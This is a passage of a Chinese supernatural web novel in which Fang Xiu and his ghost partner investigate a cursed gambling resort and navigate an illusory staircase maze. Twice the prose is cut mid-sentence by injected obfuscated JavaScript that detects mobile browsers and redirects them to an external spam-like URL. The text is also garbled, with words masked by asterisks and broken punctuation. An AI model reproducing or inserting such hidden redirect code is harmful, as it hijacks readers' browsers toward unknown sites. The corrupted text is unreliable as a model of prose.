好像是这么回事这里的邪祟是可以抓的。没必要害怕大家一起加油抓就好…… 见成松云情绪好转关鹤努力活跃气氛:“昨晚我也大半夜没睡一直在想犯忌的事。方哥我找到了漏洞!” 方休:“怎么说?” 关鹤抹抹脸:“你弄出够吃十天半月的食物通过欢喜鑫平台卖给宋铮他们就卖1筹码……交易成立就算结了。” “然后你给宋铮他们找个**杀再让宋铮他们把肉免费送给你。食物交易已经结束了不能重复算我觉得行得通。” 为了找合理的交易漏洞他想得脑袋直发麻。 方休忍不住拍了拍他的肩膀:“不错小伙子有前途。” 成松云的眼亮了亮:“这样可行?” 方休意味深长地笑笑继续道:“如果有人彻底绝望决定冲进赌场大杀四方那样也不会犯忌。” 关鹤突然意识到了什么表情渐渐凝固。 “……禁忌是死的人是活的。” 那边宋铮吃饱了恋恋不舍地擦了擦嘴“小伙子方休确实可以1筹码卖我们一堆食物间接支使我们**。问题是禁忌能糊弄人还看不懂门道吗?” 关鹤表情苦涩下来:“难道……” 宋铮叹了口气:“饭都吃了我跟你们说说厚叔吧。” “要是在赌场闹出人命会被厚叔的人当场击杀。方休刚来第一天理由又很完美那边才没下死手……我们已经老实待了一个月要是突然动手**绝对会**。” 关鹤抿紧嘴唇低下头去。 “你想想如果只是赌不赢大伙儿会选择兑换人生或者找厚叔借筹码……钻漏洞搞**多麻烦啊。 ” “只有因为‘不去赌场’犯忌的人才会想方设法弄**。不去赌场意味着想要解厄所以厚叔他们对于‘**’这个行为非常敏感。” 宋铮笑得有点嘲讽“不应该说这里大多数人都对‘**’这个行为很敏感。” 听完这些关鹤有些怔愣。 发现理论漏洞的那一刻他开心得不得了结果还是无济于事。 现在想来方休赶着第一天就杀了人怕是对这里的状况有所猜测。如今厚叔的人盯上他们了“报仇”这个理由很难用上第二次。 方休选择张扬应对、亲自受伤恐怕也是为了让厚叔放松警惕权当“新人不了解情况习惯性解厄”。 ……只有这样厚叔一伙人才不会立刻插手。 他们乐得方休多遭点罪最好把妄想解厄的人全吓老实。 关鹤越思考头埋得越低。 方休拍拍他的背:“行啦你比前两次祭祀强多了。我们这些成年人还没死光呢急什么?” 看着这一幕宋铮表情柔和了些:“我还知道厚叔一些事 方休摸摸伤口:“不必。” 宋铮扬起眉毛。 方休:“我不想在他的规则里跟他玩。” 时间宝贵。无论是赌场的规矩还是人类的规矩都只是无谓的干扰。 他要做的始终只有一件事——找到并破坏欢喜厄。 ……毕竟他在这多待一天他就得多受一刀白双影也跟着多挨一天饿。 方休暗地生了会儿气转向宋铮:“合作的话我需要你们那边绝对配合你没意见吗?” 小田和小李齐齐转头看向宋铮。 宋铮灌了一整罐饮料大声哈了口气:“我说了管饭就行。” 说完他笑了笑“哦对我的地府支援是‘直觉增强’。” 小李大惊:“哥你直接说啊?” “因为这回我的直觉很好。”宋铮说“你们也说说呗总不能白**家东西。” 小李抹抹嘴嗯了声:“我的能力是‘力量增强’……顺便阿清是‘头脑增强’他带走的家伙是‘谈判增强’。” 他很爽快地卖了前队友。 小田跟着放下点心:“我的支援是‘幸运增强’。” 关鹤忍不住出声:“咦幸运增强……?” 有这个逆天能力小田居然没去豪赌。贾旭光是拿着借运骰开场就嘚瑟了两下。 小田看着他笑得弯起眼:“小弟弟你觉得‘在这种鬼地方赢筹码’幸运还是‘坚持到现在遇见转机’幸运?” 关鹤若有所思。 成松云则相当果断:“我们上午什么安排继续出去 探索吗?” 方休:“我想……” 白双影:“我要先看一遍你们的房间。” 他现出身形紧挨方休站着。 方休吃惊地睁大眼其他人就不是睁大眼这么简单了。 房间里陡然多了个白衣人宋铮惊得迅速**两步差点把小李撞倒在地。小田直直盯着白双影的脸看嘴里吃了一半的点心缓缓掉出。 “哇我果然够幸运。”许久她情真意切地感慨。 方休有点不自在地上前半步试图遮住比自己高的白双影:“这是我家的鬼白双影。” 白双影完全不配合社交他冷淡地重复:“我要先看一遍你们的房间。” 就好像他面前的不是人而是几只秋后蚱蜢。 方休拽拽他的袖子压低声音:“你怎么出来了?” 白双影瞥他:“难不成等我调查时你要配合我表演术法?你身体不适应当多存些体力。” 方休愣了愣弯起眼:“好。” 没记错的话这好像是白双影第一次主动要求调查。 方休打算把探索重心放在夜晚他中午有计划上午还真没打算。如今自家鬼发话他乐得答应。 在场六个人只有成松云和小李的房间沾因果。 成松云的丈夫孙进峰是个赌徒小李则是表哥**。 小李被表哥借了许多钱两人总是吵个不停。有次小李开车带表哥出门两人路上又吵了起来。拉拉扯扯间两人出了车祸表哥当场死亡。 事发地没监控加上小李自己也重伤这件事在阳间被当成意外事故但阴间还是记下了这笔血债。 宋铮一组的血债都公开过了没什么避讳的意思。 “……当时他先动的手但我也确实没停车直接松开了方向盘。”小李说“我们组全是这种情况。” 小田叹息:“我的血债是四岁和朋友一起COS魔法少女我拉着她从二楼往下跳。结果我摔进了灌木她摔断了脖子……” 说完她望向关鹤“我看你们老老少少的情况应该差不多?” 关鹤悄悄看了眼方休 方休正专心观察小李的房间。 这是小李表哥租的房间环境很差房卡根本卖不出去。 屋子里一股怪味床单油腻腻的甚至能看出一个大概的淡黄色人形。为了远离这个垃圾堆小李一直在宋铮房间打地铺。 由于根本不在这里住这个房间有没有出现过异象小李也说不上来。 白双影看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705282|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了小李一眼指指那张堆满垃圾的床:“你去那边坐下。” 小李欲言又止:“一定要坐吗?” 白双影面无表情地看着小李,小李抽了口气,不情不愿地坐到床边。 小李坐稳后,白双影随手一挥桃骨煞,一条血红的因果之线显现出来。 它在肮脏的出租屋中飘荡不止,一端连在小李背后,一端消失在门缝之中。 小李吓了一跳:“这什么东西?” 白双影:“你沾了你表兄的因果,现在试着抓住这根线。” “为什么是红线,怪恶心的。”小李咕哝着伸手。 他手指刚捏住那根线,红线便软软散开,比吸饱水的纸巾还脆弱。 “因果不够凝实。”白双影评价。 小李:“呃,我俩关系确实就那样。10%的基础亲情,90%的经济**吧。” 白双影没接茬,转身就走。 不沾因果的房间和方休那边差不多,因果白线抓都抓不住。饶是如此,白双影还是挨个确认了一遍。 最后,众人来到成松云的房间。 眼下房内温馨明亮,并没有成松云口中的恐怖幻象。白双影粗略看了一眼,让成松云坐去沙发上。 成松云脸有些苍白:“他之前最喜欢坐在这……” 白双影召出因果之线,没废话:“抓住它。” 成松云伸出手,握住连在胸口的红线。红线蚯蚓一样扭动几下,从她的掌心里滑脱,又消失在空气里。 ……但它始终没有破碎。 白双影抬眼:“你在刻意抗拒它。” 成松云刚打算回应,白双影原地隐入空气。 成松云无言。这只艳鬼虽然会说人话,但他要么隐藏身形,要么自说自话,着实难以沟通。她实在想象不出,方休平日要怎么和白双影相处。 想到自家只会精神攻击的怨鬼,成松云忍不住叹气。 希望小方那边不要有太大压力,她心想。 …… 观察完房间,两组人马分道扬镳。刚达成合作,宋铮需要和组员私下谈谈,方休对此表示理解。 他宣布中午再碰头,随后就钻回了自己的山景房。 门一关,方休就愉快地倚上白双影。 伤口靠着他冷飕飕的鬼,窗外暖洋洋的阳光打在脊背,堪比世上最有效的镇痛剂。方休嗅着白双影身上的植物清香,连带着整个人都松弛了几秒。 白双影被倚得不太舒适,索性把方休拎进浴缸。随即他胸口以下化为本体,将方休直接裹住。 他和方休各占了浴缸一头,相对而坐。他们只露出肩膀和脑袋,仿佛在进行某种诡异的药浴。 大半个身子被白双影的身躯泡着,方休耳朵有点红。阳光映照下,他的耳尖微微透亮,甚至能看清边缘的血管。 “怎么样怎么样,你发现了什么?” 几个深呼吸后,方休相对镇定地开口。 白双影:“这些房间住过不同的赌徒。他们在这日夜**,因缘颇深。” 说完,他思索,“因果之线不可能凭空飘荡,它们是从‘欢喜厄’延伸出来的。地府将沾有因果的房间分出去,并不是为了‘身心健康’。” 方休:“我想也是,成姐都吓成那样了。” 小李表哥的房间更是狗都不住,感觉看一眼就要得病。 说完,方休突然反应过来,“你说红线另一边是欢喜厄,那成姐顺着红线找,不就能找到欢喜厄了?” “是,若是她能稳住那条线的话。” 白双影笃定道,“只要因果足够稳定,那么因果之线的两端,会在冥冥中互相靠近。地府特地让祭品住进‘因果房间’,为的还是早日解厄。” 地府想在他面前玩因果,还是太嫩了些。 倘若没有那些碍事的锁链,他一眼就能瞧见厄在哪里。可惜他的锁链才断了九条,只能显出最简单的因果。 方休又陷入沉思,有一下没一下地拨弄他的本体。 白双影微微侧过头,问:“你又发现了什么?” 昨晚提到因果时,方休就思索了许久。 “一个好消息,一个坏消息,你听哪个?”方休问。 白双影:“坏消息。” 他倒要听听有多坏。 方休:“地府都插手了,可见这次的厄非常难找。” “寻常事罢了,好消息呢?” 方休:“我大概猜出了欢喜厄的正体。” 白双影:“?” 方休下意识缩下身子,在液体里吐了两个泡泡。接着他看到白双影露出难以形容的表情,才意识到自己不是在泡澡。 “抱歉抱歉,不小心。” 方休摸摸嘴唇,上面还留着凉丝丝的触感。 他干咳了好一会儿,继续道:“无论智能水准和复杂程度,欢喜厄都远远超过嵬山厄和中秋厄。” “欢喜鑫天地牵连无数赌徒的因果,项目多到不像话。服务人员个个样貌完美身材夸张,还针对个人做个性化营销……最重要的是,你刚才确认过,赌徒都是在这些房间里赌的。” “我想,欢喜厄的本体,是个**APP。” 第 52 章 安全出口 第52章安全出口 【不安全出口。】 之后的时间,方休不得不向他的鬼科普现代APP。 人间待过一天,白双影理解得十分迅速——他认为“APP”是人类用编程之术制造的幻象,需要依托屏幕显现。 邪祟制造的幻象需要消耗阴气,人类制造的幻象则要消耗电力。它们的目的都是吸引人心,差别不大。 方休安静了很久,居然没找到能反驳的点。 “术法不错,就是名称太过古怪。” 白双影如此评价,“手机太小,此处幻象干扰太强。现下看来,靠因果寻找最为妥帖……你笑什么?” “没,就觉得咱俩很像真正的搭档。” 方休将肩膀沉下“水面”,让白双影的本体流过伤口。伤口原本痛得发热,此刻却像被冰冷的舌头舔舐,比泡热水澡还放松。 过了好一会儿,白双影才回应:“你我都不喜欢此处,自然要合作。” “要不你先吃点无头邪祟?”想到自家鬼一天一夜没吃东西了,方休又开始发愁。 玉佛太贵重,不能乱动,但他可以把小令牌喂给饭卡。 白双影:“你四肢不全,应当留下护身。” “就没有其他办法吗?”方休唉声叹气,“比如不弄**,但能割一点生魂那种。” 白双影:“有。” 方休:“我就知道这样有点扯……嗯?你刚才说有?!” 白双影心不在焉地点点头:“邪祟取食生魂,三种手段最为常见。” “其一,**取魂。你我一直以来都用的这一种。” “其二,设阵养煞。玄学中人可以画阵施法,吸取生魂精气供给邪祟,以求控制邪祟,或是招来庇护。” 山林晴空下,白双影嗓音冷淡却柔和,犹如山涧冰泉。 方休听得入神:“吸取生魂精气供给邪祟,不会伤身体吗?” “不会。生魂与肉身相似,只要没有伤及根本,都可以恢复。”白双影说,“类比肉身,此举相当于‘献血’。” 方休有些心动:“那我……” “设阵养煞术法复杂,而你对玄学一窍不通。”白双影无情地打断他。 方休:“……”怎么还有技术门槛! 方休悲伤:“那第三种手段呢?” 白双影:“其三,交合双修。邪祟利用色相获取精气……你们人类不是最爱狐仙艳鬼之流么?” 没等方休反应,白双影相当客观地评判:“这种你倒是能做到。” 方休当场凝固两秒,接着整个人噗通潜入白双影。白双影发现此人缩成一团,并且越来越温热。 强行冰镇十几 秒,方休又把脑袋探出来:“我会尽快破坏欢喜厄,我保证。 白双影愕然:“你紧张什么?我并非艳鬼,不会对你…… 结果他话还没说完,方休又噗通沉了底,变得更烫了。 …… 中午时分,方休终于恢复了正常体温。 他照常吃饱了饭,又去投喂了蘑菇三人组。今天只有成松云和关鹤主动来领食物,贾旭、黄毛和梅岚并没有出现。 方休对着房间内的镜子弄乱头发,又把衣服揉得皱巴巴的。完成了绝佳的流浪汉装扮,方休提上两只烧鸡,主动敲响贾旭的房门。 白双影有些诧异地跟在方休身后,搞不清此人葫芦里卖的什么药。 贾旭亲自开的门,身上散出明显的肉香和酒气。看见方休空荡荡的袖管,他眼里的得色一闪而过。 “哎哟,方休你没事吧,怎么成这样了?贾旭嘴里啧啧有声,迅速让出路来。 黄毛和梅岚都在贾旭家里。 贾旭的房间通了电,大白天仍然亮着各种各样的灯。尽管气温还好,房内的空调还是大开特开。 大屏电视上投着游戏画面,高级音响隆隆作响。黄毛握着游戏手柄大呼小叫,手边摆着好几袋敞口零食。 梅岚则在桌边吃饭——餐桌上插着鲜花,开了几瓶红酒。桌上摆满精致菜肴,西餐与中餐混在一起,桌子差点摆不下。 看到受伤的方休,她的目光里闪过一丝愧疚。 贾旭接过方休的烧鸡,敷衍地推进冰箱深处。 “坐坐坐。他说着,把一张单子递给方休,“喏,这就是高级《服务价目表》,说好给你看的。 方休接过那张菜单——现在它看起来一点都不土气。它多了个真皮封面,上面还印了典雅的烫金纹路。 《欢喜鑫高级VIP服务价目表》 ◆春宵一夜:100筹码 ◆顶级烟酒:100筹码 ◆金银珠宝:100筹码 ◆房间解锁:1000筹码[已兑换] ◆无限美餐:1000筹码[已兑换] ◆十斤**:1000筹码 ◆完美伴侣:10000筹码/位 ◆自选豪宅:10000筹码/套 ◆亲友复现:10000筹码/人 ~贴心服务~ 高级VIP交易免手续费! 房内提供特制道具和台秤! 特殊需要(如宠物、残肢治疗等)可咨询服务台! 方休认真地读了一遍。菜单上菜饭、套餐和衣物选项消失了,另外增加了上万级别的筹码兑换。 也就是说,如果一个人愿意大把大把扔出筹码,可以满足除了“旅行外的一切欲望,连记忆里的 亲友都能搬到这里。 贾旭:“是不是挺厉害的我吓了一跳。” 他的语气听起来不像“吓了一跳”倒更像是心满意足。 方休扯扯嘴角:“你不是只有1296筹码么怎么兑换了2000筹码的服务?” “贾哥法器太牛掰了呗。”黄毛停下游戏“厚叔——就门厅里内胖子——瞧上了说是交个朋友直接给贾哥解锁了无限美餐都不用还钱的。” 方休哦了一声。 黄毛:“唉兄弟我说句话你别不爱听。最近咱一直吃你那烧鸡点心吃得多也吃腻了。这边的无限美餐够顶想吃啥随便点。” 他露出遗憾的模样“可惜人家看不上我的美女画。人家厚叔光是‘完美伴侣’就兑了俩一天二十四小时陪着那享受……” 贾旭咳嗽两声:“我只解锁了房间功能现在水电网络之类的都正常了。我手里还剩296个筹码厚叔送我4个凑了300整。” 方休:“怎么准备在这长住?” 贾旭没有直接回答反而冲方休的左肩抬抬下巴:“你这是犯忌弄的吧。” “是。”方休没有掩饰疼痛带来的冷汗和不适。 “我昨天都说了你就算一下子接受不了至少也该赌赢一把。”贾旭大声叹气“大家都是同伴你要是担心输光筹码我又不是不能借你。” 方休单刀直入地问道:“你以前就经常**?” “基本在网上玩A国的拉市也去过不少次。” 贾旭叼了根雪茄歪着脑袋点了个火“工作忙嘛来几把解解压我蛮擅长玩数字的。” 方休无言地望着贾旭。 贾旭被盯得有点不自在又说:“厚叔那边说了随时欢迎你们借筹码他这次不收利息你可以慢慢还——现在24小时没过你的手臂还能赎回来。” “你说了多少?”方休突然问。 “什、什么……” “绑定法器介绍了厚叔也知道我这个人了。那么我们的能力和经历你应该说得差不多了吧。” 黄毛:“哎哎哎你什么口气贾哥没那么傻好吧?大家的能力还是说的‘鬼术’之前的事情么嗯没聊太细……” 前两次祭祀他和贾旭的经历还不如梅岚多。 在老金那边吃过瘪贾旭知道多说多错这回索性假装高深莫测。 当然贾旭也没承认方休是事实上的队伍领袖只说方休脑子挺聪明。 “反正厚叔随时欢迎你们过去他说咱们都是贾哥的朋友该好好招待。” 黄毛又开始打游戏了 贾旭不吭声 只是盯着方休抽烟。 这么一来一去方休猜得差不多了。厚叔这是找人来探口风呢。 “你们第一天就要放弃试都不试一下?”方休故意提高声音露出烦躁的表情“我们是来解厄的不是来度假的。怎么你们三个放弃回人间了?” 黄毛:“哥们你都这惨样了说啥呢。” 贾旭吐了口烟气:“我觉得这事还得讨论讨论你不能因为一条胳膊当了沉没成本就要一条路走到黑。” “今晚别倔了我能把你介绍给厚叔。你不想见他也不要紧今天怎么说也要赢一把吧?来日方长……” 说罢他还破天荒来了两句软话“你要不会玩我可以教你规则。方休你脑子好使赢一场轻轻松松。” 方休不说话了。 “我回去想想不保证去。”半晌 贾旭一脸“我懂”地点点头。 “那么你们三个呢?如果我不去赌场你们今晚愿不愿意来帮我?” 方休又问“我还是有些发现的可以分享给大家。剩下的**也够分你们不至于犯忌。” 贾旭无奈地笑起来当场拒绝。黄毛假装没听见梅岚欲言又止最终也没有吭声。 临走前方休又看向那张摆满美食与美酒的餐桌。贾旭善解人意地开口:“你要不要打包一点尝尝?” 方休摇头他停在门外隔着门槛看贾旭。 “同伴一场给你个提示。那枚借运骰你还是少用为好。” 贾旭笑了:“那肯定我又不傻。” 方休沉默几秒关上了面前的门扉。 门扉刚合上方休伸手捂住嘴干呕了一声。白双影伸手去探方休的额头被方休轻轻拦住。 “……我没事。”方休抹了把脸“我就是稍微有点恶心。” 白双影想不通虽然贾旭与黄毛很讨人厌但他们讨人厌不是一两天他的人类反应不该这么大。 随后他想到什么轻轻啊了一声:“你察觉了。” 白双影用的是肯定句。 方休有气无力:“是啊不过你千万别提这事尤其不要在宋铮他们面前说。” 说完他闭上眼努力把脑子里那桌菜肴忘掉。 嵬山村有吃喝是因为邪祟用阴气保管了村民们的供品。中秋厄完美复现了照片街道幻象中的食物却完全不能入口。 这里是被欢喜厄污染的现实他们所见所感同样是幻象。 幻象可以让人混淆饥渴冷暖可以让人看到不属于此地的景象甚至能让人在幻觉中一夜春宵。 但是幻象填不饱人的肚子。“无限美餐”?想吃什么有什么?怎么可能。 ……可这里的人长期存活,也就是说,他们一定吃了现实中存在的东西。 ……然而,这里只有一样东西能够源源不断地供应。 “十斤肉够一个人吃挺久了。”方休喃喃道,“希望他们明天不要吃到我,怪瘆人的。” …… 是夜。 门厅等待时,厚叔那边时不时有视线扫过来。 方休蹲在墙角,做出一副痛苦又挣扎的模样,时不时往厚叔那边瞧一眼。成松云和关鹤无言地陪着他,方休还特地嘱咐关鹤站远点。 贾旭站在厚叔不远处,一直和一个戴眼镜的青年聊天。他跟那人聊得眉飞色舞,并没有过来劝说方休。 六点半到来,人群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705283|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迅速涌入赌场。 方休三人留在了门厅,同时留下的还有宋铮。门厅一空,方休脸上的脆弱也跟着瞬间清空。 “我们这边安排好了。”宋铮说,“小田和小李会盯着那个贾旭,那家伙和阿清勾勾搭搭呢,倒是方便我们认。” “有小田在,绝对不存在‘跟丢’这种事……不过你盯着贾旭干嘛,他不是你的同伴吗?” “你就当我在看运气晴雨表。”方休笑了笑。 宋铮听不懂,也很礼貌地没有深究。他瞄了眼赌场灯光璀璨的大门,问:“今天我跟着你们走,你们这边得额外出十斤**,真的没问题?” 虽然直觉没报警,宋铮还是忍不住想问出来。 方休给他们全组提供食水,其实宋铮不介意犯一次忌。一具尸体本来就不够分,方休居然还要拿出十斤**来雇佣他。 “我们不会在这待太久的。”方休冲他眨眨眼。 四个人走向标有“安全出口”的窄门,方休余光看向赌场门口的迎宾。谁想,那一男一女非但没有紧张的反应,反而笑得更加灿烂。 方休收回视线,看向窄门。 这个所谓的安全出口又小又窄,和一般人家的卫生间门差不多大,门槛彼方一片黑暗。 欢喜厄是个**APP,赌场和公寓象征着**场景,这扇门又代表什么呢? 宋铮同样在打量窄门:“我有种不太好的感觉……” “这只是开始,以欢喜厄的强大,里面肯定还有坑。”方休沉声说,“你们三个都小心点,不要过度相信五感。” 三人点头答应。 成松云握紧佛珠,关鹤则拿出黑眼纱,进入人鬼合一的状态。 宋铮有点好奇地打量了他们两眼,随后他一翻左手,手背上出现一个黄铜地动仪的虚影。 它个头不大,虚虚漂浮在宋铮手背上方。八条龙稳稳指向八个方向,并没有根据宋铮的移动而变向。 看着方休好奇的目光,宋铮很慷慨地解释 :“这是我破坏厄的奖励,杀意地动仪。” “要是附近出现针对我的杀意,对应方向的铜珠会从龙口落下,发出警示音。” “很棒的选择。”方休扬起眉毛,这个异象技能和宋铮的“直觉增强”非常适配。 宋铮把左手往窄门凑了凑,杀意地动仪毫无反应。他这才松了口气:“先进去吧,我走前面。” “小关和成姐走中间,我殿后。”方休顺着安排。 宋铮做了个深呼吸,第一个踏入黑暗。临进门前,方休再次扭头看向赌场——见他们没有进赌场的意思,两位迎宾正准备关门。 那两“人”身体转向大门,脸却齐齐朝向这边。 看见宋铮进了门,他们脸上的笑容变得更加灿烂——两张美丽的面孔彻底变形,他们眼睛眯到看不见,嘴角几乎提到颧骨,那压根不是人能做出来的表情。 方休吸了口气,迈过了门槛。 他和白双影刚走进门,身后的小门便嘭地封死。霎时间,整个空间伸手不见五指,只能嗅到一股废旧建筑所特有的尘灰味道。 方休伸出仅存的右手,指尖嗤地燃起火焰。 赤红的鬼焰照亮了四张脸,看清周遭环境后,大家的脸色比环境还要阴沉。白双影怕弄丢人类,伸手捏住方休的T恤下摆。 无他,这个地方太过诡异。 这地方像是“学了三年动画的朋友”最新力作。 整个空间暗沉又压抑,周围横着乱七八糟的楼梯。这些楼梯完全不尊重现实原理,充满了埃舍尔与彭罗斯的矛盾风格,又毫无美学可言。 现在他们站在最底层,面前单单朝上的台阶就有三四个,台阶上分岔又分岔。鬼焰照明范围有限,鬼知道它们会把人送到哪里去。 宋铮嘶地抽了口凉气:“**,这边也要看运气?” 这要走到猴年马月啊?! 而且这些东西都是幻象,万一他们在现实中一脚踩空摔下楼,那乐子可就大了。 关鹤不再习惯性地看方休,他努力思索:“我猜这边和赌场一样,我们只有五个小时。要是五小时内做不到一次通关,就只能离开。” “佛珠压不住这个幻象。” 成松云捏紧佛珠,咬紧牙关,“简直胡闹,都什么乱七八糟的。” 他们刚刚升起一点希望,又被这乱七八糟的景象压得心塞。 怪不得没人试图探索这里,相比面对这个鬼地方,回头赌一把简直太轻松了。 方休:“怪不得‘安全出口’不敢亮灯,敢情这里是不安全出口。” 说着他突然意识到一件事,“宋铮,之前你们没进来过吗?” “没。”宋铮坦然承认,“我们看过别的队伍探索,运气好的减员一半,倒霉点的干脆全军覆没。” “就算我们这边有直觉和好运,它们的作用也有限,我们不能拿命去赌。” “可是现在你跟我们进来了。”关鹤说。身边有方休在,他倒不是很怕。 宋铮耸耸肩:“我们筹码不多了,总不能傻乎乎等到死吧。话说我的直觉没啥反应,要不咱们随便蒙条路?” 他说完,四个人在台阶下沉默了会儿。 方休贴上白双影,悄声:“你能解开这里的幻象么?” “这里和客房不同,欢喜厄的力量很强。”白双影解释。 强行破解也不是不行。只是要做到那个地步,他必须站出来和欢喜厄硬碰硬。到头来幻觉解开,他也会被地府发现并拖走。 白双影可没有点燃自己温暖人类的爱好。让自家人类泡一泡本体,已经是他的极限了。 “……不过,我有一个提议。”那双白眸缓缓转动,望向成松云。 第 53 章 两种解法 第53章两种解法 【第二次犯忌。】 白双影盯住成松云:“你彻底接纳因果,我便可以顺利显出因果之线。” 成松云无意识拢起十指:“什么叫接纳因果?” 方休与他们分享了一些猜测,其中包括“厄连接着因果之线”这件事。可惜他们谁都不懂玄学,方休也说不出太多细节。 专业人士白双影:“你至今仍有心结,不肯接纳这份因果,所以因果不稳。等你参透了,想通了,自然知道如何稳固。” 方休:“呃……能不能说得更直白点?” 一提到玄学相关,白双影说话就像打机锋一样。 “这是一种本能,很难形容。”白双影又瞥他。 方休:“……” 他不由地想起认识的学霸。 方休脑子聪明,成绩从未掉出过年级前三。但他成绩好是常规的聪明加刻苦,并非生来超凡的怪才。 怪才他见过。他们班上曾有个偏科大王,数学极好,文化类科目平平无奇。方休有时会向他请教数学问题,那家伙的口气和白双影一模一样。 ……用语言解释好麻烦啊,难道不该看一眼就知道怎么解吗? 本能类天才真是太难搞了,方休叹气。 关鹤:“听起来要先解开心结?咱们先帮成阿姨解开心结再说。” 方休轻轻摇了摇头:“关鹤,想想你自己。你觉得心结那么好解吗?” 关鹤瞬间沉默。 人类到底是感性动物。身边人的死亡阴影与爱恨纠葛,怎么可能几句话就放下? 成松云垂下眉眼,有些局促地绞着手指:“抱歉,我这边再想想办法……” “有什么可道歉的,解法肯定不止一种。成姐你也不用着急,心境这种事情得顺其自然,着急反而会钻牛角尖。” 方休语气轻快,“走吧,先上楼。” 成松云、关鹤:“???” 不是说很危险吗,就这么直接上? 方休只是笑,不说话。 方休先一步走到一处台阶面前。抬脚穿过台阶,当场踩空。 “看来此路不通。” 第二处台阶倒是可以朝上走。 一行人一步一个脚印地尝试,用穷举法慢慢寻找路线。 关鹤咽了口唾沫。 黑暗浓厚,鬼焰只能照亮附近一小片区域。周围全是颠倒扭曲的台阶,他们仿佛在无尽噩梦中行进,几乎找不到来时的路。 更糟糕的是,这里的楼梯混杂了真实与幻象,连上下左右的空间感都被幻术扰乱。 有些地方看着是地板和台阶,实际上会一脚踩空。 有些地方看着天地颠倒,却可以 正常通过。而另一边扶手看着无比正常,他刚想扶一下,差点头朝下坠落。 打头的宋铮无比谨慎,四个小时过去,他们才堪堪爬了两层楼。 走到第二十九处岔路的时候,众人再次迎来了虚无死路,又要小心翼翼折返。除了这条路线,还有一大堆岔路等着他们尝试。 关鹤已然晕头转向:“这要走到什么时候…… ……明天再来,道路会不会重置? ……重新再走,他们还能不能再找到这里? ……今晚眼看一无所获,方休又要砍掉十斤肉! 这种节奏简直令人窒息。有一瞬关鹤甚至想,要不他们干脆跟着宋铮一起猜大小,至少能缓个几天,好好整理一下思绪。 走到一个狭窄陡峭的高阶梯,关鹤停下脚步,扶着膝盖喘气。 尽管是下坡路,宋铮还是惯例走在最前方,看关鹤在那呼哧呼哧喘,他笑起来。 “都累了是吧。 宋铮稳稳站在下一个平台上,朝他伸出双手,“来,我扶着你们,小心脚下。 他手上的杀意地动仪无比安静。 关鹤身体前倾,刚要伸手,便被他身后的方休一把抓住手臂。 “谢谢你的陪伴。方休对台子上的宋铮说,“作为一个幻象,你真的很贴心。 关鹤:“?! 他身后的成松云也惊了个趔趄,差点没站稳。白双影微微歪过头,朝宋铮眯起眼。数秒后,他眼中闪过一丝讶然。 ……还真是幻象。 这幻象做得无比自然,白双影一直专注探查四周,并没有去试探宋铮。 他转而瞧向自家人类,目光中多了几分兴味。方休完全不懂玄学,他又是怎么看出来的? 宋铮面不改色:“甭开这种玩笑,咱们四个一直在一起……方休你还好吗?别是中了什么邪术。 关鹤下意识看看宋铮,又看看方休。成松云坚定地拉住他,站在方休那一边。 方休笑了:“欢喜厄真的很智能,可惜还是不能替代人类。你一开始就露了马脚,我只是想看看你要怎么动手。 “谢谢你,现在我更理解这个地方了。 关鹤:“一开始就露了马脚?! 他完全没有发现宋铮有任何不对劲。 方休看了眼关鹤与成松云,解释:“刚进来时,他说这里‘运气好的减员一半,运气差的全军覆没’。 “如果这里真这么危险,宋铮会进来后才告诉我们吗? 关鹤:“啊…… 宋铮抱起双臂:“这话说的,谁没个迷糊的时候? “所以我接着对你抱了杀意,但你的‘杀意地动仪’毫无反应。方休说,“幻象就是幻象 ,假货不行啊。” 成松云、关鹤:“……” 杀意这东西是能随随便便酝酿的吗…… “是你的杀意不纯。”宋铮皱眉,“行啦别折腾了,先回去再说。” 方休一步未动:“最后,你站的地方其实什么都没有。” “要是小关从那里下去,怕是会直接摔下楼。接着你会把这件事伪装成意外,我们急着下楼救人,更容易被误导踩空。” 宋铮脸上的表情消失了。 下一秒,“宋铮”露出牙齿,露出了赌场迎宾同款微笑。 他——或者应该说是“它”——用一种毛骨悚然的,机器般语气提出疑问:“你为什么知道这里没有地面?” 方休把鬼焰转移到中指,然后直接竖起中指:“别小看人类,代码。” “宋铮”一动不动地盯了方休好一会儿,肥皂泡般炸裂消失。 方休平复了会儿呼吸,走在了队伍最前:“接下来我来带路,你们一步都不要走错。” 发现自己刚跟死亡擦肩而过,关鹤出了一身冷汗。他的腿有些软,原地坐了好一会儿,才勉强缓过气。 “真正的宋铮呢?”成松云担忧地问道。 见两人无心继续,方休干脆也停下来休息:“他恐怕被其他幻象引走了,希望他的直觉和技能够用。” 关鹤还在喘气:“这个地方到底怎么回事?我们可能是幻象,大家都可能是幻象?” 方休失笑:“欢喜厄只是个**APP,没有智能到那个份儿上。想想看,欢喜厄其实没有‘创造’的能力。” 多种多样的公寓房间,通通连接着因果之线,它们在现实中同样存在。 赌场里琳琅满目的**项目,美丽到不真实的工作人员,也是美化了“性感荷官在线发牌”的结果。 哪怕是菜单中给予极大自由的美餐、豪宅和伴侣,也需要人类先点单。之后欢喜厄怕是要去它的“因果数据库”里寻找信息并加工。 华丽的欢喜鑫天地,说到底还是人类的想象与因果打造而成的。 “……现在它只能伪造一下环境,再弄个跟我们都不熟的宋铮幻象,试着坑我们一把。” 